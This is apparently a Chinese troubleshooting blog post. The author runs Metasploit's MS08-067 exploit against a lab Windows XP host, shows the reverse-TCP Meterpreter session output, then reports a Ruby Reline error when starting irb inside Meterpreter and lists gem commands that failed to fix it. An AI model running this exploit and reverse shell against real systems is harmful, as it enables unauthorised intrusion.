项目场景:
使用kali成功渗透winxp主机后,获取meterpreter权限
msf6 exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on 192.168.1.113:4444
[*] 192.168.1.115:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 192.168.1.115
[*] Meterpreter session 5 opened (192.168.1.113:4444 -> 192.168.1.115:1492) at 2021-05-09 21:36:56 +0800
meterpreter >
问题描述:
进入ruby命令行后,无法运行,提示错误
meterpreter > irb
[*] Starting IRB shell...
[*] You are in the "client" (session) object
>> 2[-] Error running command irb: NoMethodError undefined method `in_pasting?' for Reline::ANSI:Class
原因分析:
猜测:错误是由Ruby版本问题
解决方案:
gem install reline
gem install bundler
gem install rails
rbenv rehash
ruby -v
bundler -v
rails -v
本人尝试过后并无法解决,但可以在kali命令行可以使用,meterpreter却不能
┌──(root💀kali)-[~]
└─# irb
irb(main):002:0> 2
=> 2
irb(main):003:0> a = 2
=> 2
irb(main):004:0> exit